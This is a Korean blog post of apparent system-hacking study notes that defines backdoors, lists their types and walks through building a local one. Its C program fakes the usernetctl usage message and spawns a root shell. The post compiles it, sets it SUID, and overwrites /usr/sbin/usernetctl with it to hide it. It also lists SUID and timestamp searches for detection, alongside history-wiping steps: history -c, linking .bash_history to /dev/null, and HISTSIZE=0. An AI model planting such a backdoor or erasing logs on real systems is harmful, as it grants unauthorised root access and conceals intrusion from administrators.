Backdoor
- 정의
· 시스템 접근에 대한 사용자의 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다.
· 해킹 성공 후의 후속조치이다. (크래커)
· 개발 과정 및 원격에서 문제 해결에 필요한 통로이다. (관리자)
- 백도어 종류
· 로컬 백도어
· 원격 백도어
· 원격 GUI 백도어
· 패스워드 크래킹 백도어
· 시스템 설정변경
· 트로이 목마형
· 거짓 업그레이드
· 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어
· TCP/IP 프로토콜을 이용한 Shell binding 백도어
· Kernel 모듈을 수정한 백도어
· 방화벽을 우회하는 백도어
- 로컬 백도어
vi back.c //vi에디터로 back.c 라는 파일을 만듬
#include<stdio.h>
int main (){
printf("usage: usernetctl <interface-config> <up|down|report>\n");
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -o back back.c //back.c 소스 코드를 컴파일하고 실행 파일을 빌드
chmod 4755 back //back라는 파일에 권한부여
find / -perm +4000 1> /dev/null //에러값 보기
find / -perm +4000 2> /dev/null //에러값 제외하고 보기
/usr/sbin/usernetctl //필요없는 파일
mv /tmp/back /usr/sbin/usernetctl //back이라는 파일을 usernetctl로 덮어씌워 은닉하기
다른 계정이 /usr/sbin/usernetctl 을 실행 시 root계정으로 바뀐다.
- 은닉 & 탐지
[은닉] -기본 setuid 프로그램 바꿈
[탐지]
1.history //단점 : 시간 기록 X
history -c //사용한 명령어 내용 지우기
2.find
find / -perm +4000 2>/dev/null
find / -perm +4000 1>/dev/null
-name : 이름을 기준으로 찾는다.
-perm : 퍼미션을 기준으로 찾는다.
3.find / -atime n
-atime : 접근 시간(n일 이전에 접근할 파일을 찾을 때)
->파일을 오픈하면 atime 갱신
-ctime : 변경 시간(n일 이전에 변경된 파일을 찾을 때)
->속성값이 바뀐 시점(퍼미션, 소유주 등 파일의 속성값이 변경)
-mtime : 수정 시간(n일 이전에 수정된 파일을 찾을 때)
->파일의 내용이 바뀌었을 때
-n은 n 이하를 반환
+n은 n 이상을 반환
find / -ctime -1 -perm +4000 <--24시간 내에 생성된 setuid 파일
.bash_history 찾기
find / -name .bash_history //.bash_history 찾기
.bash_history 파일 //각 계정마다 사용했던 명령어들 기록이 있음
.bash_history 링크 걸기
rm -rf .bash_history
ln -s /dev/null .bash_history
.bash_history 생성 X
find / -name /root/.bash_profile(각 계정마다 환경을 설정)
export HISTSIZE=0 이나 export HISTFILE=/dev/null
'보안 > 시스템해킹' 카테고리의 다른 글
SystemHacking -2 Setuid (0) | 2016.04.28 |
---|---|
SystemHacking -1 Password Cracking (0) | 2016.04.20 |